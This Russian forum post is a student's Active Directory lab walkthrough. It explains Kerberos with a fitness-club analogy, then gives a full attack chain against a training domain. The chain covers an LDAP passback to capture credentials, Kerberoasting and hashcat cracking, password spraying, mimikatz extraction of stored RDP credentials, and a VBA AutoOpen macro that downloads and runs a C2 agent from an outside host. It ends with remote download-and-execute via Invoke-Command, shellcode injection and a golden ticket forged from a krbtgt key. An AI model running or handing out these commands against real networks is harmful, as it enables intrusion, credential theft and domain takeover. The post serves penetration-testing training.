LIMB
Вход Регистрация

тема

Active Directory для чайников часть 5 (Kerberos)

sup · · 0 ответов · 798 просмотров

Спойлер: Авторские права
Все авторские права принадлежат студенту и Академии Кодебай

И так друзья начинаем тяжеленькую тему, ее очень важно освоить. Будет тяжело, но мы должны справиться.

Не удалось прогрузить медиа



Спойлер: Теория на простом примере
1. Этап AS-REQ (Request) — Дмитрий запрашивает доступ к фитнес-клубу​Дмитрий — это клиент, который хочет стать членом фитнес-клуба. Для этого он должен пройти процедуру аутентификации, как если бы он был посетителем, приходящим в кассу фитнес-клуба. В этом контексте касса — это KDC (Key Distribution Center), а секретный код Дмитрия — это его пароль.



Дмитрий предоставляет свой логин и пароль, чтобы доказать свою личность, и отправляет запрос на аутентификацию в фитнес-клуб (AS-REQ):




Запрос AS-REQ: Дмитрий (клиент) отправляет запрос в кассу фитнес-клуба (KDC), чтобы получить суточный пропуск (TGT), который дает ему право пользоваться услугами клуба.
2. Этап AS-REP (Response) — Касса выдает пропуск​Касса фитнес-клуба (KDC) проверяет данные Дмитрия (его пароль) и, если все в порядке, выдает ему суточный пропуск — это аналог TGT в Kerberos. Этот пропуск зашифрован секретным ключом фитнес-клуба (ключом krbtgt), и только касса может его расшифровать.




Ответ AS-REP: Касса отправляет Дмитрию зашифрованный TGT, который позволяет ему получить доступ ко всем частям фитнес-клуба (например, к тренажерному залу, бассейну, бане) без необходимости повторной аутентификации.
3. Этап TGS-REQ (Request) — Дмитрий хочет посетить баню​Теперь, когда Дмитрий имеет TGT, он решает, что хочет посетить баню в фитнес-клубе. Для этого ему нужно запросить билет на баню (TGS) у кассы (TGS), указав, что он хочет получить доступ именно к бане.



Дмитрий отправляет запрос, в котором он указывает, что хочет посетить баню, и прикладывает свой суточный пропуск (TGT).




Запрос TGS-REQ: Дмитрий отправляет TGT в TGS и указывает, что хочет получить доступ к бане.
4. Этап TGS-REP (Response) — Касса выдает билет на баню​Касса (TGS) проверяет предоставленный TGT и, убедившись, что он действителен, создает и выдает Дмитрию билет на баню (TGS). Этот билет теперь используется для того, чтобы Дмитрий мог посетить баню без необходимости повторной аутентификации.




Ответ TGS-REP: Касса выдает Дмитрию сервисный билет (TGS) для посещения бани. Этот билет будет содержать информацию о том, что Дмитрий авторизован для доступа именно в баню. Билет зашифрован с использованием ключа, известного только кассе.
5. Использование TGS — Дмитрий использует билет для доступа в баню​Теперь, когда Дмитрий имеет сервисный билет (TGS) на баню, он может использовать его для входа в баню и использования ее услуг. После этого он может продолжать пользоваться баней, не проходя дополнительную аутентификацию.



Итак, полный процесс:​
Дмитрий (клиент) отправляет запрос на аутентификацию в кассу фитнес-клуба (AS-REQ), чтобы получить TGT.
Касса фитнес-клуба (KDC) проверяет запрос и отправляет Дмитрию зашифрованный TGT (AS-REP).
Дмитрий использует свой TGT, чтобы запросить билет на посещение бани (TGS-REQ).
Касса (TGS) проверяет TGT и выдает Дмитрию сервисный билет на баню (TGS-REP).
Дмитрий использует этот сервисный билет для доступа к бане.
Как это работает в Kerberos:​
TGT — это "путевка" в фитнес-клуб, которая подтверждает личность Дмитрия и позволяет ему получить доступ к услугам клуба.
TGS — это билет на конкретную услугу, например, на баню, который позволяет Дмитрию посещать эту часть фитнес-клуба.
Таким образом, аналогия с фитнес-клубом и баней четко объясняет, как работает Kerberos и как клиент получает доступ к различным сервисам, используя TGT и TGS.

Спойлер: Теория + входные значения
Шаг 1: AS-REQ (Запрос аутентификации)



Дмитрий отправляет запрос на аутентификацию в KDC (кассу фитнес-клуба), чтобы получить TGT. В запросе будет указан логин (Дмитрий), домен, а также, возможно, хеш пароля.



Пример запроса (гипотетический):AS-REQ:Протокол: KerberosЛогин: ДмитрийДомен: fitnessclub.localПароль: fitnesspassword (или хеш пароля)



Шаг 2: AS-REP (Ответ от KDC)



KDC проверяет запрос Дмитрия. Если его пароль правильный, он шифрует TGT с использованием ключа krbtgt и отправляет его обратно Дмитрию. TGT может содержать информацию о том, что Дмитрий аутентифицирован и может запросить доступ к сервисам фитнес-клуба.



Пример ответа от KDC (AS-REP):AS-REP:Зашифрованный TGT (с использованием ключа krbtgt)Информация о пользователе:Логин: ДмитрийДомен: fitnessclub.localПривилегии: доступ к фитнес-клубу



Шаг 3: TGS-REQ (Запрос на доступ к бане)



Дмитрий решает, что хочет попасть в баню (сервис [email protected]). Для этого он отправляет запрос на TGS (сервисную кассу), прикладывая свой TGT и указывая, что хочет получить билет на баню.



Пример запроса (TGS-REQ):TGS-REQ:TGT: {Зашифрованный TGT, полученный на этапе AS-REP}Сервис: [email protected]



Шаг 4: TGS-REP (Ответ от TGS)



TGS (сервисная касса) проверяет TGT, удостоверяется, что он действителен, и создает TGS (сервисный билет) для доступа к бане. Билет будет зашифрован с использованием ключа сервиса spa (или ключа, используемого для шифрования доступа к бане).



Пример ответа от TGS (TGS-REP):TGS-REP:Сервисный билет для доступа к бане (защищен с использованием ключа spa)Информация о пользователе:Логин: ДмитрийСервис: spaПривилегии: доступ к бане



Шаг 5: Использование TGS



Теперь, когда Дмитрий имеет сервисный билет для бани (TGS), он может использовать его для получения доступа к бане в фитнес-клубе, без необходимости снова проходить аутентификацию.


  • Спойлер: Термины + примеры
    KDC (Key Distribution Center) – Центральный сервер в Kerberos, отвечающий за аутентификацию и выдачу тикетов.
    
    Пример: "Касса" в фитнес-клубе, где получают общий пропуск (TGT) и билеты (TGS).
    AS-REQ – Запрос клиента к KDC на получение TGT.
    
    Пример: Дмитрий отправляет запрос на вход в фитнес-клуб.
    AS-REP – Ответ KDC клиенту с выдачей TGT, зашифрованного ключом krbtgt.
    
    Пример: Дмитрию выдали пропуск в клуб.
    TGT (Ticket Granting Ticket) – Тикет, используемый для получения доступа к сервисам.
    
    Пример: Суточный пропуск на все зоны фитнес-клуба.
    TGS-REQ – Запрос клиента к KDC на получение сервисного тикета (TGS).
    
    Пример: Дмитрий предъявляет TGT, чтобы получить доступ к бане.
    TGS-REP – Ответ KDC с выдачей TGS для конкретного сервиса.
    
    Пример: Дмитрий получил билет на посещение бани.
    TGS (Ticket Granting Service) – Тикет для доступа к конкретному сервису.
    
    Пример: Билет, разрешающий вход в баню.
    krbtgt – Секретный ключ KDC, используемый для шифрования TGT.
    
    Пример: Секретный код "кассы", который подписывает все пропуски.
    SPN (Service Principal Name) – Уникальное имя сервиса в сети, для которого выдается тикет.
    
    Пример: HTTP/banja.fitnessclub.local – имя сервиса "баня".
    PAC (Privilege Attribute Certificate) – Дополнительная информация о пользователе в тикете (группы, привилегии).
    
    Пример: Информация о том, что Дмитрий имеет VIP-статус.
    Kerberos-клиент – Устройство или пользователь, инициирующий процесс аутентификации.
    
    Пример: Личное устройство Дмитрия, отправляющее запрос на TGT.
    S4U (Service for User) – Механизм, позволяющий сервису получить тикет от имени пользователя.
    
    Пример: Администратор бани запросил доступ к учетке Дмитрия.
    Forwardable TGT – TGT, который можно передать на другое устройство.
    
    Пример: Дмитрий может использовать свой пропуск на другом терминале клуба.
    Lifetime (время жизни тикета) – Ограниченное время действия TGT и TGS.
    
    Пример: Суточный пропуск действует 24 часа.
    Renewable TGT – Тикет, который можно продлить без повторной аутентификации.
    
    Пример: Дмитрий продлил свой пропуск на еще один день без визита в кассу.
Теория мягко говоря всем надоела. На том же habr ее полно, но практически никто не подтверждает слова скриншотами терминала/командной строки винды. И не рассказывает как это применить. Лишь одна вода. Но все таки оставлю дополнительный материал на досуге рекомендую ознакомиться

Kerberos простыми словами​

Протокол Kerberos (видео)​

Решаем таск

сканируем сетку, которую нам выдал vpn.

 

Не удалось прогрузить медиа
​

.50 хост пропустил netexec, т.к там нет smb. Кстати -sn это ping сканнирование и не всегда оно может найти хост на котором крутится веб. Отключить icmp (ping) на сервере можно одной строчкой.
10.116.0.20,10.116.0.27,10.116.0.50,10.116.0.77 - вот эти хосты необходимо просканировать на наличие открытых портов.
Code:
nmap -sV -Pn -T4 --min-hostgroup 64 --max-hostgroup 128 --min-parallelism 10 --max-parallelism 100 -n 10.116.0.20 10.116.0.27 10.116.0.77 10.116.0.50

Давайте чуть подробнее разберем следующую команду, которая выполняет агрессивное сканирование, распределяя нагрузку.

-Pn - мы поставили, чтобы nmap не проводил ping сканирование. Во первых мы и так знаем, что эти хосты доступны, во вторых если хост не отзывается на ping - это не значит, что он НЕ ДОСТУПЕН. Я уже ранее сообщал что icmp траффик можно блокировать.
-T4 - агрессивное сканирование
--min-hostgroup 64 --max-hostgroup 128 - эта шняга по сути не нужна. У нас всего-лишь 4 айпи адреса

Не удалось прогрузить медиа


Спойлер: nmap output
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 07:13 EST

Warning: 10.116.0.77 giving up on port because retransmission cap hit (6).

Warning: 10.116.0.27 giving up on port because retransmission cap hit (6).

Warning: 10.116.0.50 giving up on port because retransmission cap hit (6).

Nmap scan report for 10.116.0.20

Host is up (0.29s latency).

Not shown: 802 closed tcp ports (conn-refused), 186 filtered tcp ports (no-response)

PORT     STATE SERVICE       VERSION

53/tcp   open  domain        Simple DNS Plus

88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-19 12:10:04Z)

135/tcp  open  msrpc         Microsoft Windows RPC

139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn

389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: LAB16.LOCAL0., Site: Default-First-Site-Name)

445/tcp  open  microsoft-ds?

464/tcp  open  kpasswd5?

593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0

636/tcp  open  tcpwrapped

3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: LAB16.LOCAL0., Site: Default-First-Site-Name)

3269/tcp open  tcpwrapped

3389/tcp open  ms-wbt-server Microsoft Terminal Services

Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows



Nmap scan report for 10.116.0.27

Host is up (0.30s latency).

Not shown: 970 closed tcp ports (conn-refused), 26 filtered tcp ports (no-response)

PORT     STATE SERVICE       VERSION

135/tcp  open  msrpc         Microsoft Windows RPC

139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn

445/tcp  open  microsoft-ds?

3389/tcp open  ms-wbt-server Microsoft Terminal Services

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows



Nmap scan report for 10.116.0.77

Host is up (0.28s latency).

Not shown: 954 closed tcp ports (conn-refused), 42 filtered tcp ports (no-response)

PORT     STATE SERVICE       VERSION

135/tcp  open  msrpc         Microsoft Windows RPC

139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn

445/tcp  open  microsoft-ds?

3389/tcp open  ms-wbt-server Microsoft Terminal Services

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows



Nmap scan report for 10.116.0.50

Host is up (0.32s latency).

Not shown: 857 closed tcp ports (conn-refused), 141 filtered tcp ports (no-response)

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 4 IP addresses (4 hosts up) scanned in 159.63 seconds




Не удалось прогрузить медиа


Дефолт креды admin:admin подошли. Перейдем в settings

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Sync LDAP — это процесс автоматизации обмена данными между системой каталогов LDAP и другими системами. Он упрощает управление пользователями и данными, повышает безопасность и обеспечивает актуальность информации.

Не удалось прогрузить медиа


Слушаем 389 порт на своей локальной тачке и заменяет LDAP SERVER Address на наш ip, который нам выдал впн. Прилетают креды

Code:
lab16\printer - домен\пользователь
HJUsdf)8v3h4r3w - пароль

Проверим корректность кредов через сайт. LDAP Server Address выставим исходным.

10.116.0.20 - это DC (домейн контроллер)

Не удалось прогрузить медиа



Выпишем TGT поскольку у нас есть все на руках для этого. Домен есть, юзер есть, пароль тоже, ip DC тоже.

impacket-getTGT 'LAB16.LOCAL/printer:HJUsdf)8v3h4r3w' -dc-ip 10.116.0.20

Не удалось прогрузить медиа


Появляется вот такая ошибка. Просто объяснение: это также как и с сайтом на который вы не можете зайти, если часовой пояс сильно отличается. К примеру сертификат выдан до 20.12.2025, а у вас на компьютере время 21.12.2025. Сертификат истек=)) Ну это все грубо говоря. Kerberos  - это протокол, который использует timestamps (временные метки) и в настройках сисадмин может настроить время, которое допустимо (например часовой пояс между клиентом и сервером не должен отличаться более чем на 5 минут).

Для синхронизации времени между клиентом и сервером используется протокол NTP (Network Time Protocol). Этот протокол предназначен для точной синхронизации времени на компьютерах и устройствах в сети.

Code:
sudo -i (переходим в рута)
timedatectl set-ntp off - отключаем автоматическое обновление
ntpdate [IP]

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Вот наш TGT. Точнее не так. Это кэш в котором хранится TGT и другие билеты.

Не удалось прогрузить медиа


Не забудьте прописать в /etc/hosts запись для домена и пинганите проверьте. DNS работает на 53 порту хоста 10.116.0.20 (мы ранее сканировали)

Не удалось прогрузить медиа


сохраняем /etc/hosts

KRB5CCNAME - это переменная которая по дефолту используется в linux для указания файла кэша. Давайте укажем

export KRB5CCNAME=/root/printer.ccache


printenv - проверим добавился ли кэш

Не удалось прогрузить медиа



все ок.

nxc ldap 10.116.0.0/24 -u 'printer' -k --use-kcache

Не удалось прогрузить медиа


Я проверил также доступ для пользователя printer к ssh и smb. Ничего не доступно. Раз к ldap имеем доступ, выгрузим сейчас пользователей.

export KRB5CCNAME=/root/printer.ccache - необязательно было писать. Это просто для удобства, чтобы каждый раз не писать перед командой nxc.

Можно и вот так

KRB5CCNAME=/root/printer.ccache nxc ldap 10.116.0.0/24 -u 'printer' -k --use-kcache --users

Не удалось прогрузить медиа


test_user:p4ssP@SS - пароль нашел в описании.

Остальных юзеров давайте сохраним в отдельный .txt

cat users_ldap.txt| awk '{print $5}' >> users_good

Не удалось прогрузить медиа



Все теперь в файле users_good - юзеры из ldap.

Получим TGS

KRB5CCNAME=printer.ccache impacket-GetUserSPNs LAB16.LOCAL/printer -dc-ip 10.116.0.20 -dc-host DC.LAB16.LOCAL -request -k -no-pass

Не удалось прогрузить медиа


Давайте разберемся чуть подробнее что вообще произошло. Мы с помощью web отправили на свой сервер креды для printer. Запросили TGT (билет, который подтверждает аутентификацию в домене). То есть проще говоря я говорю printer - это я, вот мой домен и пароль. Выдай мне билет, чтобы я использовал kerberos, а не NTLM аутентификацию. Если у меня есть TGT, то я смогу аутентифицироваться без передачи пароля/хэша пароля по сети.

Раз уж у меня есть TGT, то я могу получить SPN (это идентификация сервиса с юзером от которого работает сервис), а далее этот SPN передать и запросить TGS.
  • TGT используется для аутентификации пользователя в сети через Kerberos.
  • SPN — это уникальный идентификатор для каждого сервиса, работающего в домене.
  • TGS — это билет, который вы получаете для доступа к сервису, указанному в SPN.
За получением TGT мы обращались к DB.LAB.LOCAL - это домейн контроллер на котором работает KDC, KDC как раз и проверяет действительно ли мы printer. На домейн контроллере работает аутентификация, а вот сами сервисы (http, cifs и т.д) могут работать на други серверах.

Брутим билеты

KRB5CCNAME=printer.ccache impacket-GetUserSPNs LAB16.LOCAL/printer -dc-ip 10.116.0.20 -dc-host DC.LAB16.LOCAL -request -k -no-pass >> hash.txt

hashcat -m 13100 hash.txt wordik.txt

Не удалось прогрузить медиа


Code:
userkerb:!ak1993!
userldap:!ak1993

Получаем TGT, т.к NTLM аутентификацию в домене отключена.

Не удалось прогрузить медиа


Не удалось прогрузить медиа



Code:
impacket-getTGT 'LAB16.LOCAL/userldap:!ak1993!' -dc-ip 10.116.0.20
impacket-getTGT 'LAB16.LOCAL/userkerb:!ak1993!' -dc-ip 10.116.0.20


Не удалось прогрузить медиа


Помните пользователя, которого мы нашли вот на него тоже можем выписать билет

impacket-getTGT 'LAB16.LOCAL/test_user:p4ssP@SS' -dc-ip 10.116.0.20

Как обычно раз уж у нас есть юзернеймы и пароли (которые мы сбрутили для других пользователей). Применим атаку password spray.

kbrute passwordspray -d lab16.local --dc 10.116.0.20 /home/kali/us.txt '!ak1993!'

Если пароль со специальными символами, то используйте одинарные кавычки, чтобы не экранировать спец.символы.

Не удалось прогрузить медиа


luchin - .юзернейми
!ak1993! - пароль
lab16.local - домен

impacket-getTGT 'LAB16.LOCAL/luchin:!ak1993!' -dc-ip 10.116.0.20

Не удалось прогрузить медиа


Получаем билетик (TGT) для пользователя luchin.

impacket-getTGT - это не единственный инструмент с помощью которого мы можем запрашивать TGT. Есть еще kinit

Code:
sudo apt update
sudo apt install krb5-user

Настроим /etc/krb5.conf
Code:
[libdefaults]
    default_realm = LAB16.LOCAL
    dns_lookup_realm = true
    dns_lookup_kdc = true


[realms]
    LAB16.LOCAL = {
        kdc = 10.116.0.20
        admin_server = 10.116.0.20
    }


[domain_realm]
    .lab16.local = LAB16.LOCAL
    lab16.local = LAB16.LOCAL

Кстати, чтобы не прописывать в /etc/hosts постоянно домен и айпишник. Можно прописать DNS сервер.

nano /etc/resolv.conf

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Ну давайте запросим для примера TGT для luchin, используя в этот раз kinit

kinit [email protected]

klist - используется для просмотра доступных билетов. Мы можем увидеть сколько действует наш билетик. После истечения срока надо будет запросить еще раз

Не удалось прогрузить медиа

Ticket cache: FILE:/tmp/krb5cc_0 - кэш хранится тут. Давайте в переменное окружение занесем.

Code:
export KRB5CCNAME=/tmp/krb5cc_0
echo $KRB5CCNAME

Не удалось прогрузить медиа


Ранее мы просканировали всю сетку на наличие открытых портов. Я нашел хост 10.116.0.27 на котором запущен winrm.

Не удалось прогрузить медиа


Бам! Ошибочка. Керберос не очень любит IP адреса. Поэтому нужно использовать доменные имена. Вопрос где взять этот гребанный поддомен.

Не удалось прогрузить медиа


Да, это он. server27.lab16.local. Вопрос где его взять?

Не удалось прогрузить медиа


smb ничего не покажет. Будет просто domain, name. Дело в том, что NTLM отключен в домене.

Раз уж нас есть доступ в ldap. Мы оттуда пользователей ранее выгружали. Почему бы нам не сделать полноценный дамп для bloodhound.
KRB5CCNAME=luchin.ccache netexec ldap LAB16.LOCAL -u luchin -p '!ak1993!' -k --bloodhound --collection All


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Вот у нас есть JSON файлики в которых хранится информация из нашего домена LAB16.LOCAL. Все в открытом виде, поэтому не обязательно ставить хаунд. Лень=) Наша задача лишь посмотреть какие поддомены есть у LAB16.LOCAL.

Протокол WinRM является реализацией WSMan в Windows, и весь процесс аутентификации и управления удаленной системой происходит через WSMan-протоколы.

grep -r "WSMAN"

Не удалось прогрузить медиа


Не удалось прогрузить медиа


jq . *.json

Так можем в более читабельном виде получить содержимое json. Но лучше конечно в хаунд засунуть. Но нам уже это не нужно, т.к мы нашли SERVER27 который за winrm и отвечает.


Не удалось прогрузить медиа


evil-winrm -i SERVER27.lab16.LOCAL -u luchin -r LAB16.LOCAL

Не удалось прогрузить медиа


Получили сессию.

Не удалось прогрузить медиа


Загружаем агента c2. Грузится очень медленно. Поэтому я воспользуюсь далее инструкцией, которую мне прислал мой товарищ. Он использовал Havoc C2

Не удалось прогрузить медиа


token make lab16.local luchin !ak1993! LOGON_INTERACTIVE - получаем интерактивную оболочку, ранее мы были подключились по winrm шелл неполный.

Не удалось прогрузить медиа


В домашней директории пользователя был странный файл с расширением .rdg.

Шлюз удаленного рабочего стола (RDG) обеспечивает безопасные подключения к ресурсам внутренней сети через Протокол удаленного рабочего стола (RDP) шифруя соединение через HTTPS.

Не удалось прогрузить медиа

В чем преимущество .rdg:​

  • Управление группами серверов из единого интерфейса.
  • Хранение учетных данных и настроек для каждого сервера.
  • Удобный способ переключения между несколькими RDP-сессиями.

Извлекаем креды из этого файла с помощью мимика.
shell mimikatz.exe "dpapi::rdg /in:C:\Users\luchin\Documents\my.rdg /password:!ak1993! /unprotect" "exit"

Администратор21:HFUJK7uo3uhf
Администратор22:ihjfo9w38hwpo8er
Администратор23:woihdfpurge
manokhin:b71B+S@g76hVlD
pudovnina:MUH7-&Rrd11w6v
kazinets:GeJl@mX1Si_84

Администратор учетки брать не будем, т.к они скорее всего не доменные, а локальные. Остальные 3 рассмотрим.

Выпишем себе TGT (пройдем аутентификацию)

Code:
impacket-getTGT 'LAB16.LOCAL/manokhin:b71B+S@g76hVlD' -dc-ip 10.116.0.20
impacket-getTGT 'LAB16.LOCAL/pudovnina:MUH7-&Rrd11w6v' -dc-ip 10.116.0.20
impacket-getTGT 'LAB16.LOCAL/kazinets:GeJl@mX1Si_84' -dc-ip 10.116.0.20

Не удалось прогрузить медиа


Тут у меня возникли некоторые непонятки с netexec. Я до сих пор их не решил, предполагаю, что моя устаревшая версия nxc ввела меня в ступор.
Пока я фиксил ошибки вот что я понял

- kerberos не работает с ip. Нужно вписывать хосты

Опции netexec для работы с kerberos

sudo nxc smb zoro.gold.local -k -u bonclay -p Ocotober2022

Используется опция -k. В таком случае надо указать юзер и пароль.

Или, используя --use-kcache

export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache

$ nxc smb zoro.gold.local --use-kcache

--kdcHost KDC (центр распределения ключей Kerberos).

Вообще что такое Kerberos или Цербер. Это трёхглавая псина из древней греции, которая решила усложнить жизнь студенту;)) Именно трёхглавая не просто так.
1 голова - это клиент
2 голова - это KDC (центр распределения ключей)
3 голова - это сервер

Сервер – сетевой объект, обеспечивающий функционирование одного или нескольких сервисов. Примеры серверов: файловый сервер, почтовый сервер.
Клиент – учетная запись или тачка(машинка с windows)

TGS, билет сервиса, мандат сервиса, ST(Service Ticket) - это все одно и тоже. х*й знает зачем так усложнять все. Читаешь опции какой-нибудь утилиты и ахуеваешь, думаешь что такое ST, а это оказывается просто алиас к TGS (одно и тоже). Пздц бред. Это. Цербер вынос мозга просто, мало того, что протокол сложный дак еще люди решили все усложнить. Мандат сервиса б**ть:person_facepalming:

Терминология

 • KRB ~ KeRBeros
 • AS ~ Authentication Server
 • REP ~ REsPonse
 • REQ ~ REQuest
 • AP ~ APplication server


Область действия (Realm) – домен.

Принципал (Principal) – это строка, полностью идентифицирующая участника протокола Kerberos. Service Principal Name или User Principal Name. Форматы отличаются.

User Principal Name к примеру. [email protected]

Пример SPN

ftp/[email protected]

Центр распределения ключей – контроллер домена.

Сервер аутентификации и сервер выдачи разрешений – оба объединены в рамках одного компонента, функционирующего на контроллере домена.

База данных Kerberos – в Active Directory информация о секретах пользователей хранится на контроллерах домена в файле ntds.dit.

krbtgt – название учетной записи, по умолчанию создаваемой вместе с доменом и обладающей секретом контроллера домена.

Эта терминология вам пригодится для понимания, когда в netexec к примеру вывалится ошибка, что Realm не верный. Вы будете с круглым ебалом сидеть думать, что такое реалм. А это оказывается домен просто его по-другому назвали. Странная хрень, конечно.

Ну, а этапы Kerberos по типу KRB_AS_REQ нужно просто понять, потом можно будет просто подглянуть в шпаргалку, когда потребуется понять, как работают атаки на цербера этого несчастного.

В Active Directory PAC среди прочего содержит следующую информацию:
 • Идентификатор безопасности (SID) учетной записи пользователя
 • Идентификаторы групп, в которых состоит пользователь


PAC - это хуевина, которая используется в Kerberos при авторизации. То есть цербер 2 в 1 и плов приготовить может и ***)

Короче говоря. Цербер еще может и авторизовать клиента, то есть проверить действительно ли группы принадлежат пользователю. Для этого и используется PAC, который подписан двумя подписями krbtgt и сервисом.

Вот тут более подробно расписано и более грамотно: https://ardent101.github.io/posts/kerberos_theory в целом рекомендую прочитать все части, если у вас есть время.

А мы идем дальше

Не удалось прогрузить медиа


Собственно, если бы у нас не было бы проблем с nxc, то увидели бы следующую картину. В шару Scanner можно записать пользователю "kazinets".

Подрубившись по smb находим интересный документ в котором описано что если положить документ в Scanner то его 100% прочитают)

Не удалось прогрузить медиа


Мутим макрос в документ "Пример отчета.docx"


Code:
Sub AutoOpen()
    AutoOpenMacro
End Sub


Sub Document_Open()
    AutoOpenMacro
End Sub


Sub AutoOpenMacro()
    Dim strProgramName As String
    Dim strArgument As String
    Dim objShell As Object
   
    strProgramName = "powershell.exe"
    strArgument = "-Command ""Invoke-WebRequest -Uri 'http://10.0.0.170/agent.exe' -OutFile 'C:\Windows\tasks\student.exe'; " & _
                  "Start-Process 'C:\Windows\tasks\ts19.exe'"""
   
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run strProgramName & " " & strArgument, 0, False
End Sub

Команда для подключения  к smb

KRB5CCNAME=kazinets.ccache impacket-smbclient LAB16.LOCAL/ [email protected] -k -no-pass

Не удалось прогрузить медиа


Получаем сессию после замены легитимного файла на наш с макросом.

Повышаем привилегии. Создаем службу и получаем доступ от имени системы.

Не удалось прогрузить медиа


Смотрим доступные тикеты.

Не удалось прогрузить медиа


Видим пользователя "slepenkov". Нам нужно получить сессию от его имени.

Будем инжектится в пользователя. делаем shellcode в Havoc

Не удалось прогрузить медиа


Так как для инжекта нужно знать pid процесса то будем искать подходящий процесс.
proc grep expl - находим процесс explorer.exe от имени slepenkov shellcode inject x64 6300 /home/username/codeby/laba11/agent.bin - инжектимся в процесс пользователя и становимся slepenkov

Не удалось прогрузить медиа



Далее что бы посмотреть дамп тикетов закачаваем rubeus и выполняем triage.

Не удалось прогрузить медиа


Так как у нашего пользователя есть тикеты куда нужно, а именно хоть мы на server27 (там есть доступ по winrm) то мы можем просто выполнять команды скрипт блоками.

powershell Invoke-Command -ComputerName SERVER27 -Scriptblock {wget http://10.0.0.170/agent.exe -O C:\windows \tasks\ts19v2.exe ; cmd.exe /c 'icacls "c:\windows\tasks\ts19v2.exe" /grant *S-1-1-0:(RX)' ; cmd /c C:\windows\tasks \ts19v2.exe}

данная команда скачивает агента, потом дает права на вайл всем, после чего идет запуск и мы получаем сесию на другом сервере.

Поискав на сервере информацию которая могла бы нам помочь, наталкнулся на файлы пользователя rublenko. У этого пользованеля на рабочем столе лежит zip. Выкачиваем к себе и обнаруживаем что он запаролен.

Не удалось прогрузить медиа


Code:
Zip2john winrm_backup.zip > hash (Получаем хэш из файла zip)
John —wordlist=/…rockyou.txt hash (Подбираем пароль брутфорсом из хэша)
Unzip winrm_backup.zip (Распаковка zip файла)

Не удалось прогрузить медиа


Также на скрине из полученного архива был найден ключ krbtgt а это уже похоже на пропуск... Делаем Golden тикет.

Создаем Golden Ticket

krbtat:aes256-cts-hmac-sha1-96:2792d0a60a1c37a4b74abf7f601f7b28a2a4fb0092bdbe08df0fb217c7e17c93 2792d0a60a1c37a4b74abf7f601f7b28a2a4fb0092bdbe08df0fb217c7e17c93 - Выписываем ключ со скрина
S-1-5-21-1133037953-2906815067-420858314-1874 - SID slepenkov
S-1-5-21-1133037953-2906815067-420858314 - SID domain
impacket-ticketer -domain-sid S-1-5-21-1133037953-2906815067-420858314 -domain LAB16.LOCAL -aesKey 2792d0a60a1c37a4b74abf7f601f7b28a2a4fb0092bdbe08df0fb217c7e17c93 -user-id 1874 -groups 580,512,513 'slepenkov' - все данные для пользователя получил whoami /all там все есть и RID групп и RID пользователя и SID

Не удалось прогрузить медиа


Чтобы проверить актуальная ли информация я сначала прошелся sharphound и завернул все в хаунд.

Не удалось прогрузить медиа


Как видим все ок

Не удалось прогрузить медиа


Проверяем доступы

Не удалось прогрузить медиа


Подключаемся через smb шару что бы не палиться так как impacket-psexec или подобная тема быстро спалится безопасниками из SOC

Не удалось прогрузить медиа


На этом пожалуй остановимся. Честно говоря, как мне кажется это слишком старый формат, на реальных сетках мы не встретим голден тикеты и навряд ли нам кто-то позволит запустить шарпхаунды и прочие собиральщики. Прикрепляю интересную презентацию от Михаила, рекомендую с ней ознакомиться и дополнительно почитать инфу в презентанции есть линки.
👍78 ❤️7 😁23 😮18 😢14 💯8

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.